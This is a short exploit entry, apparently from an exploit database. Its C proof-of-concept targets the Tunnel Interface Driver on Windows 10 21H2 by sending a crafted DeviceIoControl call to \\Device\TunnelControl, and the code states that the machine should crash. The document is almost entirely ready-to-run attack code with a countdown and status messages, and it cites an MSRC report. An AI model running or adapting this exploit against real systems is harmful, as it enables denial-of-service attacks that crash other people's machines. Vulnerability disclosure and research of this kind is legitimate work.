Tunnel Interface Driver – Denial of Service
// Exploit Title: Tunnel Interface Driver - Denial of Service // Date: 07/15/2022 // Exploit Author: ExAllocatePool2 // Vendor Homepage: https://www.microsoft.com/ // Software Link: https://www.microsoft.com/en-us/software-download/windows10 // Version: Windows 10 Pro Version 21H2 (OS Build 19044.1288) // Tested on: Microsoft Windows // GitHub Repository: https://github.com/Exploitables/MSRC-1 #include <Windows.h> #include <stdio.h> #define TARGET_DEVICE "\\\\.\\GLOBALROOT\\Device\\TunnelControl" int main(int argc, char** argv); int main(int argc, char** argv) { HANDLE h_driver = CreateFileA(TARGET_DEVICE, 0x80, 0, 0, OPEN_EXISTING, 0, 0); unsigned long long input_output = 0x4242424242424242; unsigned long bytes_returned = 0x43434343; unsigned char unused = 0; SetConsoleTitleA("https://msrc.microsoft.com/"); printf("[*] Microsoft Security and Response Center Report #1\n[*] Microsoft Tunnel Interface Driver Null Pointer Dereference Denial of Service Vulnerability\n[*] Exploit written by ExAllocatePool2\n[!] Let's exploit!"); if (h_driver == (HANDLE)-1) { printf("\n[-] Failed to obtain a handle to the vulnerable device driver. Error: %d (0x%x)", GetLastError(), GetLastError()); unused = getchar(); return 1; } printf("\n[+] Obtained a handle to the vulnerable device driver. Handle Value: 0x%p", h_driver); printf("\n[!] Triggering a denial of service via arbitrary read in 3..."); for (int i = 2; i > 0; i--) { Sleep(1000); printf("\n[!] %d...", i); } DeviceIoControl(h_driver, 0, &input_output, 8, &input_output, 8, &bytes_returned, 0); unused = getchar(); printf("\n[-] Exploit failed. The machine should have crashed."); return 0; } |